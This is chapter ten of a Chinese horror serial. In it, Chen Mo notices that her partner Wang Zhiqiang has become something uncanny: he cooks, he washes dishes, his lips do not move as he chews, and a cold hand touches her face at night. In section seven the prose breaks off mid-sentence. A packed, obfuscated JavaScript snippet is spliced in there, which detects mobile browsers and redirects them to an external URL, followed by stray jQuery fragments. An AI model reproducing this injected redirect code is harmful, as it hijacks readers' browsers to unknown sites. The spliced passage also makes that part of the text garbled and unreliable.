第十章他不一样了
一
陈默一夜没睡。
她躺在黑暗里，睁着眼，听着旁边王志强的呼吸。
那呼吸声很均匀，一起一伏，听起来和平时没什么两样。但她就是睡不着。脑子里反复回放今晚的事——那句“那你别要啊”，说出来的时候有多痛快，现在就有多后悔。
不是后悔说了那句话。
是后悔说了之后，王志强那个眼神。
那个眼神，她忘不掉。
不是愤怒，不是凶狠，是别的。
是一种……满意？
就像昨晚他说“你熟了”的时候那种满意。
就像猎人看见猎物终于掉进陷阱的那种满意。
她翻了个身，背对着他。
床垫微微颤动，他的呼吸顿了一下，然后继续。
他醒着？
还是没醒？
她不知道。
她只知道，从今晚开始，有什么东西不一样了。
二
早上六点半，陈默起床。
她轻手轻脚下床，怕吵醒他。走到门口的时候，回头看了一眼。
王志强还躺着，背对着她，一动不动。
她站了两秒，然后推门出去。
洗漱，换衣服，化妆。镜子里的自己，眼袋比昨天更深了，下巴上的痘又多了两颗。她用遮瑕盖了又盖，还是盖不住。
算了。
她拿起包，准备出门。
走到客厅的时候，她愣了一下。
王志强坐在沙发上。
他什么时候起来的？她根本没听见动静。
他穿着那件睡衣——就是那件穿了不知道多久的睡衣，坐在沙发上，看着电视。电视没开声音，就那样放着早间新闻，画面一闪一闪的。
陈默站在那儿，看着他。
他慢慢转过头，看着她。
那两只眼睛，很正常。没有发光，没有异常。就是普通的人的眼睛。
“走了？”他问。
陈默点点头。
“嗯。”
他没说话，又转回去继续看电视。
陈默站了两秒，然后开门出去。
门关上的那一刻，她靠在门上，深吸了一口气。
他说“走了”的时候，声音和平时一样。
但那个眼神，不对。
不是看她。
是……穿透她。
像看一个透明的东西。
三
地铁上人很多，陈默被挤在车门旁边，一只手拉着扶手，一只手护着包。
她盯着窗外隧道里的灯，脑子里乱糟糟的。
王志强今天早上那个眼神，她忘不掉。
还有他坐在沙发上的姿势——和平时一样，又和平时不一样。说不上来哪儿不一样，就是不对。
就像一个人，穿上了另一个人的衣服。
还是那个样子，但不是那个人了。
她想起昨晚的事。
她反驳了。
她说了“那你别要啊”。
然后他笑了。
那个笑容，她越想越不对。
不是生气，不是愤怒，是满意。
就像……就像他在等她这句话。
就像他一直在等她说出点什么，好让他有个理由，做点什么。
做什么？
她不知道。
但她害怕了。
四
上午十点，陈默正在办业务，手机震了一下。
她抽空看了一眼。
王志强发来的微信：
“晚上早点回来。”
她盯着这行字，看了三秒。
早点回来。
三年了，他从来没说过这句话。从来都是“晚上不回去了”“晚点回”“别等我了”。
今天他说“早点回来”。
她回了一个字：
“好。”
把手机放下，继续办业务。
但心里那团东西，越来越大。
五
下午五点四十，陈默下班。
她没在外面逗留，直接回家。
开门的时候，她站在门口，深吸了一口气。
然后推开门。
客厅里亮着灯。
王志强坐在沙发上，看电视。和早上一样，电视没开声音，画面一闪一闪的。
他转过头看她。
“回来了？”
陈默点点头。
“嗯。”
她换鞋，放下包，走进客厅。
走到沙发旁边的时候，她停住了。
茶几上放着两个碗，两双筷子。碗里是饭，菜已经盛好了——红烧肉，炒青菜，还有一个汤。
他做的饭？
三年了，他从来没做过饭。
陈默站在那儿，看着那两个碗。
“愣着干嘛？”王志强的声音从身后传来，“吃饭。”
她慢慢坐下来，拿起筷子。
夹了一筷子青菜，放进嘴里。
味道……正常。
就是普通的炒青菜，油盐放得正好。
她嚼着，咽下去。
王志强也拿起筷子，开始吃。
两个人面对面坐着，吃饭，不说话。
只有筷子碰碗的声音。
陈默吃了几口，忍不住看他。
他低着头吃饭，动作和平时一样。夹菜，扒饭，嚼，咽下去。很正常。
但就是不对。
哪儿不对？
她看了半天，突然发现了——
他在嚼东西的时候，嘴巴不动。
就是嘴唇不动，只有里面的牙齿在动。从外面看，他的脸完全是静止的，但他在吃东西。
陈默攥紧筷子。
她把目光收回来，盯着自己的碗。
继续吃。
但每一口，都不知道是什么味道。
六
吃完饭，陈默站起来收碗。
“放着吧。”王志强的声音。
她愣了一下。
“我来洗。”
他站起来，从她手里接过碗，端进厨房。
陈默站在客厅里，听着厨房里传来的水声。
水哗哗响着，碗碰在一起，叮叮当当的。
他洗碗。
三年了，他从来没洗过碗。
她走到厨房门口，看着他。
他站在水槽前，背对着她，正在冲碗。动作很熟练，像洗了很多年一样。
但他从来不洗碗。
她看着他的后背。
那件衣服还是白天那件——不，好像不是。换了一件？她记不清了。
但那股味道，她闻见了。
油油的，腻腻的，带点甜，又带点酸。
比昨天更浓了。
他洗着碗，哼着歌。
那首歌她没听过，调子怪怪的，不像流行歌，也不像老歌。
她站在门口，听了一会儿。
然后她转身走回客厅，坐下。
电视还开着，没声音。她拿起遥控器，把声音打开。
新闻频道，主持人正在播报什么股市行情。
她盯着屏幕，什么都没听进去。
七
晚上九点多，陈默躺在床上，看手机。
王志强在客厅里，不知道在干什么。偶尔有脚步声，偶尔有东西放下的声音，偶尔有电视换台的声音。
她盯着手机屏幕，其实什么都没看进去。
脑子里一直在想今天的事。
他做饭了。
他洗碗了。
他让她早点回来。
他看她的眼神不对。
他嚼东西的时候嘴巴不动。
他身上那个味道，越来越浓了。
他不一样了。
哪儿不一样，她说不上来。
但就是不一样。
就像一个人，被换掉了。
还是那个样子，还是那个声音，还是那个名字——但里面，不是那个人了。
她想起那张纸条。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387622|200269||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>第二条规则：不要反驳。
她反驳了。
然后他就变了。
是不是因为那个？
是不是她说了那句话，他就……就可以变了？
她不知道。
她只知道，她害怕了。
八
脚步声靠近。
陈默把手机放下，闭上眼睛，假装睡着。
门开了。
王志强走进来。
她能感觉到他站在床边，看着她。
站了很久。
她忍着没有睁眼。
然后他躺下来，躺到她旁边。
床垫陷下去，她的身体跟着歪了一下。
他没说话。
她也没说话。
过了一会儿，她感觉到他在翻身，翻过来，面对着她。
他的呼吸，离她很近。
她能感觉到那股味道，从他身上散发出来，越来越浓，越来越近。
她攥紧被角。
然后她感觉到——他的手，放在了她的脸上。
凉的。
很凉。
像刚从冰箱里拿出来的东西。
那只手，在她脸上慢慢移动，从额头到眼睛，从眼睛到鼻子，从鼻子到嘴巴。
像在摸一件东西。
像在确认一件东西。
陈默全身都僵了。
她不敢动，不敢睁眼，不敢呼吸。
那只手，在她脸上摸了一遍，然后收回去。
他翻身，背对着她。
呼吸声很快响起，一起一伏，睡着了。
陈默睁开眼。
黑暗里，她盯着他的后背。
那股味道还在，浓浓的，黏黏的，像一层油，把她整个人裹在里面。
她慢慢坐起来，下床，光着脚走到门口。
回头看了一眼。
他还躺着，一动不动。
她推开门，走出去。
九
客厅里亮着一盏小灯，是玄关那盏，平时晚上都不开的。
陈默走到沙发前，坐下。
沙发垫上那个印子，还在。
比前几天更深了。
她伸手摸了摸。
湿的。
不是水的那种湿，是别的。像有什么东西，从里面往外渗。
她把手指收回来，凑到鼻子前闻了闻。
那股味道。
就是从这儿来的。
她站起来，退后一步。
站在客厅中央，看着那张沙发。
那张沙发，他每天都躺。
每天都躺很久。
躺出一个印子，越来越深，越来越湿，越来越臭。
她想起他说的那句话。
“你熟了。”
熟了是什么意思？
是不是就像这样——从里面往外烂，直到整个人都变成那个味道？
她不知道。
但她知道，她不能再躺在他旁边了。
十
那一夜，陈默在沙发上坐了一夜。
天亮的时候，她站起来，走进卧室。
王志强还躺着，姿势和昨晚一样，一动不动。
她站在门口，看着他的后背。
然后她转身，去洗漱，换衣服，拿起包，出门。
门关上的那一刻，她听见身后传来一个声音。
“晚上早点回来。”
她停住了。
那是他的声音。
但她没回头。
她站在门口，站了三秒。
然后她往前走，走进电梯，下楼，上班。
整个路上，她脑子里只有那句话。
“晚上早点回来。”
他说这句话的时候，语气和昨天一样。
但那个声音——
那个声音，不像是从嘴里发出来的。
像是从很深很深的地方传上来的。
像从一个已经烂掉的东西里，传上来的。
---
第十章完